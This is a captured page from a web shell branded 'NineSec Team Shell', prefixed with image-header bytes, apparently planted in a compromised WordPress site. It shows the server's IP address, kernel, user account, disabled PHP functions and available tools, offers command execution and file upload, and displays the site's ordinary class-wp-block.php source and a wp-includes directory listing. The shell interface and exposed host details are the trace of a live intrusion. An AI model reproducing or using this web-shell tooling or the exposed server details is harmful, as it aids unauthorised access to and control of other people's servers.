�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/readytorun/Maildir/../public_html/wp-includes/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/readytorun/Maildir/../public_html/wp-includes/class-wp-block.php
<?php
/**
 * Blocks API: WP_Block class
 *
 * @package WordPress
 * @since 5.5.0
 */

/**
 * Class representing a parsed instance of a block.
 *
 * @since 5.5.0
 * @property array $attributes
 */
#[AllowDynamicProperties]
class WP_Block {

	/**
	 * Original parsed array representation of block.
	 *
	 * @since 5.5.0
	 * @var array
	 */
	public $parsed_block;

	/**
	 * Name of block.
	 *
	 * @example "core/paragraph"
	 *
	 * @since 5.5.0
	 * @var string|null
	 */
	public $name;

	/**
	 * Block type associated with the instance.
	 *
	 * @since 5.5.0
	 * @var WP_Block_Type
	 */
	public $block_type;

	/**
	 * Block context values.
	 *
	 * @since 5.5.0
	 * @var array
	 */
	public $context = array();

	/**
	 * All available context of the current hierarchy.
	 *
	 * @since 5.5.0
	 * @var array
	 */
	protected $available_context = array();

	/**
	 * Block type registry.
	 *
	 * @since 5.9.0
	 * @var WP_Block_Type_Registry
	 */
	protected $registry;

	/**
	 * List of inner blocks (of this same class)
	 *
	 * @since 5.5.0
	 * @var WP_Block_List
	 */
	public $inner_blocks = array();

	/**
	 * Resultant HTML from inside block comment delimiters after removing inner
	 * blocks.
	 *
	 * @example "...Just <!-- wp:test /--> testing..." -> "Just testing..."
	 *
	 * @since 5.5.0
	 * @var string
	 */
	public $inner_html = '';

	/**
	 * List of string fragments and null markers where inner blocks were found
	 *
	 * @example array(
	 *   'inner_html'    => 'BeforeInnerAfter',
	 *   'inner_blocks'  => array( block, block ),
	 *   'inner_content' => array( 'Before', null, 'Inner', null, 'After' ),
	 * )
	 *
	 * @since 5.5.0
	 * @var array
	 */
	public $inner_content = array();

	/**
	 * Constructor.
	 *
	 * Populates object properties from the provided block instance argument.
	 *
	 * The given array of context values will not necessarily be available on
	 * the instance itself, but is treated as the full set of values provided by
	 * the block's ancestry. This is assigned to the private `available_context`
	 * property. Only values which are configured to consumed by the block via
	 * its registered type will be assigned to the block's `context` property.
	 *
	 * @since 5.5.0
	 *
	 * @param array                  $block             {
	 *     An associative array of a single parsed block object. See WP_Block_Parser_Block.
	 *
	 *     @type string|null $blockName    Name of block.
	 *     @type array       $attrs        Attributes from block comment delimiters.
	 *     @type array       $innerBlocks  List of inner blocks. An array of arrays that
	 *                                     have the same structure as this one.
	 *     @type string      $innerHTML    HTML from inside block comment delimiters.
	 *     @type array       $innerContent List of string fragments and null markers where inner blocks were found.
	 * }
	 * @param array                  $available_context Optional array of ancestry context values.
	 * @param WP_Block_Type_Registry $registry          Optional block type registry.
	 */
	public function __construct( $block, $available_context = array(), $registry = null ) {
		$this->parsed_block = $block;
		$this->name         = $block['blockName'];

		if ( is_null( $registry ) ) {
			$registry = WP_Block_Type_Registry::get_instance();
		}

		$this->registry = $registry;

		$this->block_type = $registry->get_registered( $this->name );

		$this->available_context = $available_context;

		$this->refresh_context_dependents();
	}

	/**
	 * Updates the context for the current block and its inner blocks.
	 *
	 * The method updates the context of inner blocks, if any, by passing down
	 * any context values the block provides (`provides_context`).
	 *
	 * If the block has inner blocks, the method recursively processes them by creating new instances of `WP_Block`
	 * for each inner block and updating their context based on the block's `provides_context` property.
	 *
	 * @since 6.8.0
	 */
	public function refresh_context_dependents() {
		/*
		 * Merging the `$context` property here is not ideal, but for now needs to happen because of backward compatibility.
		 * Ideally, the `$context` property itself would not be filterable directly and only the `$available_context` would be filterable.
		 * However, this needs to be separately explored whether it's possible without breakage.
		 */
		$this->available_context = array_merge( $this->available_context, $this->context );

		if ( ! empty( $this->block_type->uses_context ) ) {
			foreach ( $this->block_type->uses_context as $context_name ) {
				if ( array_key_exists( $context_name, $this->available_context ) ) {
					$this->context[ $context_name ] = $this->available_context[ $context_name ];
				}
			}
		}

		$this->refresh_parsed_block_dependents();
	}

	/**
	 * Updates the parsed block content for the current block and its inner blocks.
	 *
	 * This method sets the `inner_html` and `inner_content` properties of the block based on the parsed
	 * block content provided during initialization. It ensures that the block instance reflects the
	 * most up-to-date content for both the inner HTML and any string fragments around inner blocks.
	 *
	 * If the block has inner blocks, this method initializes a new `WP_Block_List` for them, ensuring the
	 * correct content and context are updated for each nested block.
	 *
	 * @since 6.8.0
	 */
	public function refresh_parsed_block_dependents() {
		if ( ! empty( $this->parsed_block['innerBlocks'] ) ) {
			$child_context = $this->available_context;

			if ( ! empty( $this->block_type->provides_context ) ) {
				foreach ( $this->block_type->provides_context as $context_name => $attribute_name ) {
					if ( array_key_exists( $attribute_name, $this->attributes ) ) {
						$child_context[ $context_name ] = $this->attributes[ $attribute_name ];
					}
				}
			}

			$this->inner_blocks = new WP_Block_List( $this->parsed_block['innerBlocks'], $child_context, $this->registry );
		}

		if ( ! empty( $this->parsed_block['innerHTML'] ) ) {
			$this->inner_html = $this->parsed_block['innerHTML'];
		}

		if ( ! empty( $this->parsed_block['innerContent'] ) ) {
			$this->inner_content = $this->parsed_block['innerContent'];
		}
	}

	/**
	 * Returns a value from an inaccessible property.
	 *
	 * This is used to lazily initialize the `attributes` property of a block,
	 * such that it is only prepared with default attributes at the time that
	 * the property is accessed. For all other inaccessible properties, a `null`
	 * value is returned.
	 *
	 * @since 5.5.0
	 *
	 * @param string $name Property name.
	 * @return array|null Prepared attributes, or null.
	 */
	public function __get( $name ) {
		if ( 'attributes' === $name ) {
			$this->attributes = isset( $this->parsed_block['attrs'] ) ?
				$this->parsed_block['attrs'] :
				array();

			if ( ! is_null( $this->block_type ) ) {
				$this->attributes = $this->block_type->prepare_attributes_for_render( $this->attributes );
			}

			return $this->attributes;
		}

		return null;
	}

	/**
	 * Processes the block bindings and updates the block attributes with the values from the sources.
	 *
	 * A block might contain bindings in its attributes. Bindings are mappings
	 * between an attribute of the block and a source. A "source" is a function
	 * registered with `register_block_bindings_source()` that defines how to
	 * retrieve a value from outside the block, e.g. from post meta.
	 *
	 * This function will process those bindings and update the block's attributes
	 * with the values coming from the bindings.
	 *
	 * ### Example
	 *
	 * The "bindings" property for an Image block might look like this:
	 *
	 * ```json
	 * {
	 *   "metadata": {
	 *     "bindings": {
	 *       "title": {
	 *         "source": "core/post-meta",
	 *         "args": { "key": "text_custom_field" }
	 *       },
	 *       "url": {
	 *         "source": "core/post-meta",
	 *         "args": { "key": "url_custom_field" }
	 *       }
	 *     }
	 *   }
	 * }
	 * ```
	 *
	 * The above example will replace the `title` and `url` attributes of the Image
	 * block with the values of the `text_custom_field` and `url_custom_field` post meta.
	 *
	 * @since 6.5.0
	 * @since 6.6.0 Handle the `__default` attribute for pattern overrides.
	 * @since 6.7.0 Return any updated bindings metadata in the computed attributes.
	 *
	 * @return array The computed block attributes for the provided block bindings.
	 */
	private function process_block_bindings() {
		$block_type                 = $this->name;
		$parsed_block               = $this->parsed_block;
		$computed_attributes        = array();
		$supported_block_attributes = get_block_bindings_supported_attributes( $block_type );

		// If the block doesn't have the bindings property, isn't one of the supported
		// block types, or the bindings property is not an array, return the block content.
		if (
			empty( $supported_block_attributes ) ||
			empty( $parsed_block['attrs']['metadata']['bindings'] ) ||
			! is_array( $parsed_block['attrs']['metadata']['bindings'] )
		) {
			return $computed_attributes;
		}

		$bindings = $parsed_block['attrs']['metadata']['bindings'];

		/*
		 * If the default binding is set for pattern overrides, replace it
		 * with a pattern override binding for all supported attributes.
		 */
		if (
			isset( $bindings['__default']['source'] ) &&
			'core/pattern-overrides' === $bindings['__default']['source']
		) {
			$updated_bindings = array();

			/*
			 * Build a binding array of all supported attributes.
			 * Note that this also omits the `__default` attribute from the
			 * resulting array.
			 */
			foreach ( $supported_block_attributes as $attribute_name ) {
				// Retain any non-pattern override bindings that might be present.
				$updated_bindings[ $attribute_name ] = isset( $bindings[ $attribute_name ] )
					? $bindings[ $attribute_name ]
					: array( 'source' => 'core/pattern-overrides' );
			}
			$bindings = $updated_bindings;
			/*
			 * Update the bindings metadata of the computed attributes.
			 * This ensures the block receives the expanded __default binding metadata when it renders.
			 */
			$computed_attributes['metadata'] = array_merge(
				$parsed_block['attrs']['metadata'],
				array( 'bindings' => $bindings )
			);
		}

		foreach ( $bindings as $attribute_name => $block_binding ) {
			// If the attribute is not in the supported list, process next attribute.
			if ( ! in_array( $attribute_name, $supported_block_attributes, true ) ) {
				continue;
			}
			// If no source is provided, or that source is not registered, process next attribute.
			if ( ! isset( $block_binding['source'] ) || ! is_string( $block_binding['source'] ) ) {
				continue;
			}

			$block_binding_source = get_block_bindings_source( $block_binding['source'] );
			if ( null === $block_binding_source ) {
				continue;
			}

			// Adds the necessary context defined by the source.
			if ( ! empty( $block_binding_source->uses_context ) ) {
				foreach ( $block_binding_source->uses_context as $context_name ) {
					if ( array_key_exists( $context_name, $this->available_context ) ) {
						$this->context[ $context_name ] = $this->available_context[ $context_name ];
					}
				}
			}

			$source_args  = ! empty( $block_binding['args'] ) && is_array( $block_binding['args'] ) ? $block_binding['args'] : array();
			$source_value = $block_binding_source->get_value( $source_args, $this, $attribute_name );

			// If the value is not null, process the HTML based on the block and the attribute.
			if ( ! is_null( $source_value ) ) {
				$computed_attributes[ $attribute_name ] = $source_value;
			}
		}

		return $computed_attributes;
	}

	/**
	 * Depending on the block attribute name, replace its value in the HTML based on the value provided.
	 *
	 * @since 6.5.0
	 *
	 * @param string $block_content  Block content.
	 * @param string $attribute_name The attribute name to replace.
	 * @param mixed  $source_value   The value used to replace in the HTML.
	 * @return string The modified block content.
	 */
	private function replace_html( string $block_content, string $attribute_name, $source_value ) {
		$block_type = $this->block_type;
		if ( ! isset( $block_type->attributes[ $attribute_name ]['source'] ) ) {
			return $block_content;
		}

		// Depending on the attribute source, the processing will be different.
		switch ( $block_type->attributes[ $attribute_name ]['source'] ) {
			case 'html':
			case 'rich-text':
				$block_reader = self::get_block_bindings_processor( $block_content );

				// TODO: Support for CSS selectors whenever they are ready in the HTML API.
				// In the meantime, support comma-separated selectors by exploding them into an array.
				$selectors = explode( ',', $block_type->attributes[ $attribute_name ]['selector'] );
				// Add a bookmark to the first tag to be able to iterate over the selectors.
				$block_reader->next_tag();
				$block_reader->set_bookmark( 'iterate-selectors' );

				foreach ( $selectors as $selector ) {
					// If the parent tag, or any of its children, matches the selector, replace the HTML.
					if ( strcasecmp( $block_reader->get_tag(), $selector ) === 0 || $block_reader->next_tag(
						array(
							'tag_name' => $selector,
						)
					) ) {
						// TODO: Use `WP_HTML_Processor::set_inner_html` method once it's available.
						$block_reader->release_bookmark( 'iterate-selectors' );
						$block_reader->replace_rich_text( wp_kses_post( $source_value ) );
						return $block_reader->get_updated_html();
					} else {
						$block_reader->seek( 'iterate-selectors' );
					}
				}
				$block_reader->release_bookmark( 'iterate-selectors' );
				return $block_content;

			case 'attribute':
				$amended_content = new WP_HTML_Tag_Processor( $block_content );
				if ( ! $amended_content->next_tag(
					array(
						// TODO: build the query from CSS selector.
						'tag_name' => $block_type->attributes[ $attribute_name ]['selector'],
					)
				) ) {
					return $block_content;
				}
				$amended_content->set_attribute( $block_type->attributes[ $attribute_name ]['attribute'], $source_value );
				return $amended_content->get_updated_html();

			default:
				return $block_content;
		}
	}

	private static function get_block_bindings_processor( string $block_content ) {
		$internal_processor_class = new class('', WP_HTML_Processor::CONSTRUCTOR_UNLOCK_CODE) extends WP_HTML_Processor {
			/**
			 * Replace the rich text content between a tag opener and matching closer.
			 *
			 * When stopped on a tag opener, replace the content enclosed by it and its
			 * matching closer with the provided rich text.
			 *
			 * @param string $rich_text The rich text to replace the original content with.
			 * @return bool True on success.
			 */
			public function replace_rich_text( $rich_text ) {
				if ( $this->is_tag_closer() || ! $this->expects_closer() ) {
					return false;
				}

				$depth    = $this->get_current_depth();
				$tag_name = $this->get_tag();

				$this->set_bookmark( '_wp_block_bindings' );
				// The bookmark names are prefixed with `_` so the key below has an extra `_`.
				$tag_opener = $this->bookmarks['__wp_block_bindings'];
				$start      = $tag_opener->start + $tag_opener->length;

				// Find matching tag closer.
				while ( $this->next_token() && $this->get_current_depth() >= $depth ) {
				}

				if ( ! $this->is_tag_closer() || $tag_name !== $this->get_tag() ) {
					return false;
				}

				$this->set_bookmark( '_wp_block_bindings' );
				$tag_closer = $this->bookmarks['__wp_block_bindings'];
				$end        = $tag_closer->start;

				$this->lexical_updates[] = new WP_HTML_Text_Replacement(
					$start,
					$end - $start,
					$rich_text
				);

				return true;
			}
		};

		return $internal_processor_class::create_fragment( $block_content );
	}

	/**
	 * Generates the render output for the block.
	 *
	 * @since 5.5.0
	 * @since 6.5.0 Added block bindings processing.
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param array $options {
	 *     Optional options object.
	 *
	 *     @type bool $dynamic Defaults to 'true'. Optionally set to false to avoid using the block's render_callback.
	 * }
	 * @return string Rendered block output.
	 */
	public function render( $options = array() ) {
		global $post;

		$before_wp_enqueue_scripts_count = did_action( 'wp_enqueue_scripts' );

		// Capture the current assets queues.
		$before_styles_queue         = wp_styles()->queue;
		$before_scripts_queue        = wp_scripts()->queue;
		$before_script_modules_queue = wp_script_modules()->get_queue();

		/*
		 * There can be only one root interactive block at a time because the rendered HTML of that block contains
		 * the rendered HTML of all its inner blocks, including any interactive block.
		 */
		static $root_interactive_block = null;
		/**
		 * Filters whether Interactivity API should process directives.
		 *
		 * @since 6.6.0
		 *
		 * @param bool $enabled Whether the directives processing is enabled.
		 */
		$interactivity_process_directives_enabled = apply_filters( 'interactivity_process_directives', true );
		if (
			$interactivity_process_directives_enabled && null === $root_interactive_block && (
				( isset( $this->block_type->supports['interactivity'] ) && true === $this->block_type->supports['interactivity'] ) ||
				! empty( $this->block_type->supports['interactivity']['interactive'] )
			)
		) {
			$root_interactive_block = $this;
		}

		$options = wp_parse_args(
			$options,
			array(
				'dynamic' => true,
			)
		);

		// Process the block bindings and get attributes updated with the values from the sources.
		$computed_attributes = $this->process_block_bindings();
		if ( ! empty( $computed_attributes ) ) {
			// Merge the computed attributes with the original attributes.
			$this->attributes = array_merge( $this->attributes, $computed_attributes );
		}

		$is_dynamic    = $options['dynamic'] && $this->name && null !== $this->block_type && $this->block_type->is_dynamic();
		$block_content = '';

		if ( ! $options['dynamic'] || empty( $this->block_type->skip_inner_blocks ) ) {
			$index = 0;

			foreach ( $this->inner_content as $chunk ) {
				if ( is_string( $chunk ) ) {
					$block_content .= $chunk;
				} else {
					$inner_block  = $this->inner_blocks[ $index ];
					$parent_block = $this;

					/** This filter is documented in wp-includes/blocks.php */
					$pre_render = apply_filters( 'pre_render_block', null, $inner_block->parsed_block, $parent_block );

					if ( ! is_null( $pre_render ) ) {
						$block_content .= $pre_render;
					} else {
						$source_block        = $inner_block->parsed_block;
						$inner_block_context = $inner_block->context;

						/** This filter is documented in wp-includes/blocks.php */
						$inner_block->parsed_block = apply_filters( 'render_block_data', $inner_block->parsed_block, $source_block, $parent_block );

						/** This filter is documented in wp-includes/blocks.php */
						$inner_block->context = apply_filters( 'render_block_context', $inner_block->context, $inner_block->parsed_block, $parent_block );

						/*
						 * The `refresh_context_dependents()` method already calls `refresh_parsed_block_dependents()`.
						 * Therefore the second condition is irrelevant if the first one is satisfied.
						 */
						if ( $inner_block->context !== $inner_block_context ) {
							$inner_block->refresh_context_dependents();
						} elseif ( $inner_block->parsed_block !== $source_block ) {
							$inner_block->refresh_parsed_block_dependents();
						}

						$block_content .= $inner_block->render();
					}

					++$index;
				}
			}
		}

		if ( ! empty( $computed_attributes ) && ! empty( $block_content ) ) {
			foreach ( $computed_attributes as $attribute_name => $source_value ) {
				$block_content = $this->replace_html( $block_content, $attribute_name, $source_value );
			}
		}

		if ( $is_dynamic ) {
			$global_post = $post;
			$parent      = WP_Block_Supports::$block_to_render;

			WP_Block_Supports::$block_to_render = $this->parsed_block;

			$block_content = (string) call_user_func( $this->block_type->render_callback, $this->attributes, $block_content, $this );

			WP_Block_Supports::$block_to_render = $parent;

			$post = $global_post;
		}

		if ( ( ! empty( $this->block_type->script_handles ) ) ) {
			foreach ( $this->block_type->script_handles as $script_handle ) {
				wp_enqueue_script( $script_handle );
			}
		}

		if ( ! empty( $this->block_type->view_script_handles ) ) {
			foreach ( $this->block_type->view_script_handles as $view_script_handle ) {
				wp_enqueue_script( $view_script_handle );
			}
		}

		if ( ! empty( $this->block_type->view_script_module_ids ) ) {
			foreach ( $this->block_type->view_script_module_ids as $view_script_module_id ) {
				wp_enqueue_script_module( $view_script_module_id );
			}
		}

		/*
		 * For Core blocks, these styles are only enqueued if `wp_should_load_separate_core_block_assets()` returns
		 * true. Otherwise these `wp_enqueue_style()` calls will not have any effect, as the Core blocks are relying on
		 * the combined 'wp-block-library' stylesheet instead, which is unconditionally enqueued.
		 */
		if ( ( ! empty( $this->block_type->style_handles ) ) ) {
			foreach ( $this->block_type->style_handles as $style_handle ) {
				wp_enqueue_style( $style_handle );
			}
		}

		if ( ( ! empty( $this->block_type->view_style_handles ) ) ) {
			foreach ( $this->block_type->view_style_handles as $view_style_handle ) {
				wp_enqueue_style( $view_style_handle );
			}
		}

		/**
		 * Filters the content of a single block.
		 *
		 * @since 5.0.0
		 * @since 5.9.0 The `$instance` parameter was added.
		 *
		 * @param string   $block_content The block content.
		 * @param array    $block         The full block, including name and attributes.
		 * @param WP_Block $instance      The block instance.
		 */
		$block_content = apply_filters( 'render_block', $block_content, $this->parsed_block, $this );

		/**
		 * Filters the content of a single block.
		 *
		 * The dynamic portion of the hook name, `$name`, refers to
		 * the block name, e.g. "core/paragraph".
		 *
		 * @since 5.7.0
		 * @since 5.9.0 The `$instance` parameter was added.
		 *
		 * @param string   $block_content The block content.
		 * @param array    $block         The full block, including name and attributes.
		 * @param WP_Block $instance      The block instance.
		 */
		$block_content = apply_filters( "render_block_{$this->name}", $block_content, $this->parsed_block, $this );

		if ( $root_interactive_block === $this ) {
			// The root interactive block has finished rendering. Time to process directives.
			$block_content          = wp_interactivity_process_directives( $block_content );
			$root_interactive_block = null;
		}

		// Capture the new assets enqueued during rendering, and restore the queues the state prior to rendering.
		$after_styles_queue         = wp_styles()->queue;
		$after_scripts_queue        = wp_scripts()->queue;
		$after_script_modules_queue = wp_script_modules()->get_queue();

		/*
		 * As a very special case, a dynamic block may in fact include a call to wp_head() (and thus wp_enqueue_scripts()),
		 * in which all of its enqueued assets are targeting wp_footer. In this case, nothing would be printed, but this
		 * shouldn't indicate that the just-enqueued assets should be dequeued due to it being an empty block.
		 */
		$just_did_wp_enqueue_scripts = ( did_action( 'wp_enqueue_scripts' ) !== $before_wp_enqueue_scripts_count );

		$has_new_styles         = ( $before_styles_queue !== $after_styles_queue );
		$has_new_scripts        = ( $before_scripts_queue !== $after_scripts_queue );
		$has_new_script_modules = ( $before_script_modules_queue !== $after_script_modules_queue );

		// Dequeue the newly enqueued assets with the existing assets if the rendered block was empty & wp_enqueue_scripts did not fire.
		if (
			! $just_did_wp_enqueue_scripts &&
			( $has_new_styles || $has_new_scripts || $has_new_script_modules ) &&
			(
				trim( $block_content ) === '' &&
				/**
				 * Filters whether to enqueue assets for a block which has no rendered content.
				 *
				 * @since 6.9.0
				 *
				 * @param bool   $enqueue    Whether to enqueue assets.
				 * @param string $block_name Block name.
				 */
				! (bool) apply_filters( 'enqueue_empty_block_content_assets', false, $this->name )
			)
		) {
			foreach ( array_diff( $after_styles_queue, $before_styles_queue ) as $handle ) {
				wp_dequeue_style( $handle );
			}
			foreach ( array_diff( $after_scripts_queue, $before_scripts_queue ) as $handle ) {
				wp_dequeue_script( $handle );
			}
			foreach ( array_diff( $after_script_modules_queue, $before_script_modules_queue ) as $handle ) {
				wp_dequeue_script_module( $handle );
			}
		}

		return $block_content;
	}
}

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
December 19 2025 11:08:09
readytorun
0750
ID3
--
April 03 2024 12:08:17
readytorun
0755
IXR
--
November 25 2021 9:10:13
readytorun
0755
PHPMailer
--
December 03 2025 4:09:51
readytorun
0755
Requests
--
March 30 2023 12:08:13
readytorun
0755
SimplePie
--
November 12 2024 11:09:05
readytorun
0755
Text
--
November 12 2024 11:09:05
readytorun
0755
abilities-api
--
December 03 2025 4:09:51
readytorun
0755
assets
--
November 12 2024 11:09:05
readytorun
0755
block-bindings
--
December 03 2025 4:09:51
readytorun
0755
block-patterns
--
November 25 2021 9:10:13
readytorun
0755
block-supports
--
December 03 2025 4:09:51
readytorun
0755
blocks
--
December 03 2025 4:09:51
readytorun
0755
certificates
--
November 25 2021 9:10:13
readytorun
0755
css
--
April 16 2025 1:08:18
readytorun
0755
customize
--
November 25 2021 9:10:13
readytorun
0755
fonts
--
April 03 2024 12:08:17
readytorun
0755
html-api
--
November 12 2024 11:09:05
readytorun
0755
images
--
August 09 2023 12:04:56
readytorun
0755
interactivity-api
--
April 03 2024 12:08:17
readytorun
0755
js
--
December 03 2025 4:09:51
readytorun
0755
l10n
--
April 03 2024 12:08:17
readytorun
0755
php-compat
--
January 25 2022 11:08:17
readytorun
0755
pomo
--
November 25 2021 9:10:13
readytorun
0755
rest-api
--
November 25 2021 9:10:13
readytorun
0755
sitemaps
--
November 25 2021 9:10:13
readytorun
0755
sodium_compat
--
November 25 2021 9:10:13
readytorun
0755
style-engine
--
November 02 2022 11:10:56
readytorun
0755
theme-compat
--
November 25 2021 9:10:13
readytorun
0755
widgets
--
November 25 2021 9:10:13
readytorun
0755
abilities-api.php
23.798 KB
December 03 2025 4:09:51
readytorun
0644
abilities.php
7.796 KB
December 03 2025 4:09:51
readytorun
0644
admin-bar.php
36.1 KB
December 03 2025 4:09:51
readytorun
0644
atomlib.php
11.896 KB
December 03 2025 4:09:51
readytorun
0644
author-template.php
18.937 KB
December 03 2025 4:09:51
readytorun
0644
block-bindings.php
7.35 KB
December 03 2025 4:09:51
readytorun
0644
block-editor.php
28.596 KB
December 03 2025 4:09:51
readytorun
0644
block-i18n.json
0.309 KB
January 25 2022 11:08:16
readytorun
0644
block-patterns.php
12.903 KB
April 16 2025 1:08:18
readytorun
0644
block-template-utils.php
61.02 KB
December 03 2025 4:09:51
readytorun
0644
block-template.php
14.999 KB
December 03 2025 4:09:51
readytorun
0644
blocks.php
112.05 KB
December 03 2025 4:09:51
readytorun
0644
bookmark-template.php
12.469 KB
April 16 2025 1:08:18
readytorun
0644
bookmark.php
15.065 KB
July 17 2024 12:09:28
readytorun
0644
cache-compat.php
9.842 KB
December 03 2025 4:09:51
readytorun
0644
cache.php
13.17 KB
December 03 2025 4:09:51
readytorun
0644
canonical.php
33.833 KB
December 03 2025 4:09:51
readytorun
0644
capabilities.php
42.629 KB
December 03 2025 4:09:51
readytorun
0644
category-template.php
55.708 KB
December 03 2025 4:09:51
readytorun
0644
category.php
12.528 KB
April 16 2025 1:08:17
readytorun
0644
class-IXR.php
2.555 KB
April 16 2025 1:08:17
readytorun
0644
class-avif-info.php
28.921 KB
May 08 2024 12:09:21
readytorun
0644
class-feed.php
0.526 KB
November 12 2024 11:09:05
readytorun
0644
class-http.php
0.358 KB
November 02 2022 11:10:56
readytorun
0644
class-json.php
42.652 KB
December 03 2025 4:09:51
readytorun
0644
class-oembed.php
0.392 KB
November 02 2022 11:10:56
readytorun
0644
class-phpass.php
6.612 KB
November 12 2024 11:09:05
readytorun
0644
class-phpmailer.php
0.648 KB
November 25 2021 9:10:13
readytorun
0644
class-pop3.php
20.626 KB
April 16 2025 1:08:18
readytorun
0644
class-requests.php
2.185 KB
August 09 2023 12:04:55
readytorun
0644
class-simplepie.php
0.442 KB
November 12 2024 11:09:05
readytorun
0644
class-smtp.php
0.446 KB
November 25 2021 9:10:13
readytorun
0644
class-snoopy.php
36.831 KB
March 30 2023 12:08:12
readytorun
0644
class-walker-category-dropdown.php
2.411 KB
November 07 2023 11:08:17
readytorun
0644
class-walker-category.php
8.278 KB
November 07 2023 11:08:17
readytorun
0644
class-walker-comment.php
13.888 KB
July 17 2024 12:09:28
readytorun
0644
class-walker-nav-menu.php
11.762 KB
April 16 2025 1:08:18
readytorun
0644
class-walker-page-dropdown.php
2.646 KB
November 07 2023 11:08:16
readytorun
0644
class-walker-page.php
7.434 KB
November 07 2023 11:08:16
readytorun
0644
class-wp-admin-bar.php
17.455 KB
July 24 2024 12:10:27
readytorun
0644
class-wp-ajax-response.php
5.143 KB
November 02 2022 11:10:56
readytorun
0644
class-wp-application-passwords.php
16.698 KB
April 16 2025 1:08:17
readytorun
0644
class-wp-block-bindings-registry.php
8.283 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-block-bindings-source.php
2.922 KB
November 12 2024 11:09:05
readytorun
0644
class-wp-block-editor-context.php
1.318 KB
November 02 2022 11:10:55
readytorun
0644
class-wp-block-list.php
4.603 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-block-metadata-registry.php
11.616 KB
April 16 2025 1:08:18
readytorun
0644
class-wp-block-parser-block.php
2.495 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-block-parser-frame.php
1.97 KB
November 12 2024 11:09:05
readytorun
0644
class-wp-block-parser.php
11.246 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-block-pattern-categories-registry.php
5.322 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-block-patterns-registry.php
10.597 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-block-processor.php
67.841 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-block-styles-registry.php
6.345 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-block-supports.php
5.494 KB
April 16 2025 1:08:17
readytorun
0644
class-wp-block-template.php
1.985 KB
November 12 2024 11:09:05
readytorun
0644
class-wp-block-templates-registry.php
7.024 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-block-type-registry.php
4.912 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-block-type.php
16.86 KB
July 17 2024 12:09:28
readytorun
0644
class-wp-block.php
24.23 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-classic-to-block-menu-converter.php
3.975 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-comment-query.php
47.66 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-comment.php
9.216 KB
April 16 2025 1:08:18
readytorun
0644
class-wp-customize-control.php
25.507 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-customize-manager.php
198.378 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-customize-nav-menus.php
56.653 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-customize-panel.php
10.459 KB
April 16 2025 1:08:17
readytorun
0644
class-wp-customize-section.php
10.946 KB
November 12 2024 11:09:05
readytorun
0644
class-wp-customize-setting.php
29.26 KB
April 16 2025 1:08:18
readytorun
0644
class-wp-customize-widgets.php
70.905 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-date-query.php
35.3 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-dependencies.php
15.021 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-dependency.php
2.571 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-duotone.php
39.827 KB
July 17 2024 12:09:28
readytorun
0644
class-wp-editor.php
70.64 KB
May 01 2025 12:08:09
readytorun
0644
class-wp-embed.php
15.558 KB
April 16 2025 1:08:17
readytorun
0644
class-wp-error.php
7.326 KB
March 30 2023 12:08:12
readytorun
0644
class-wp-exception.php
0.247 KB
November 12 2024 11:09:05
readytorun
0644
class-wp-fatal-error-handler.php
7.959 KB
November 12 2024 11:09:05
readytorun
0644
class-wp-feed-cache-transient.php
3.227 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-feed-cache.php
0.946 KB
November 12 2024 11:09:05
readytorun
0644
class-wp-hook.php
16.283 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-http-cookie.php
7.216 KB
August 09 2023 12:04:55
readytorun
0644
class-wp-http-curl.php
12.95 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-http-encoding.php
6.532 KB
August 09 2023 12:04:55
readytorun
0644
class-wp-http-ixr-client.php
3.419 KB
November 02 2022 11:10:55
readytorun
0644
class-wp-http-proxy.php
5.84 KB
August 09 2023 12:04:55
readytorun
0644
class-wp-http-requests-hooks.php
1.975 KB
March 30 2023 12:08:12
readytorun
0644
class-wp-http-requests-response.php
4.297 KB
November 07 2023 11:08:16
readytorun
0644
class-wp-http-response.php
2.907 KB
November 02 2022 11:10:55
readytorun
0644
class-wp-http-streams.php
16.464 KB
November 07 2023 11:08:16
readytorun
0644
class-wp-http.php
40.596 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-image-editor-gd.php
20.22 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-image-editor-imagick.php
36.11 KB
December 03 2025 4:09:51
readytorun
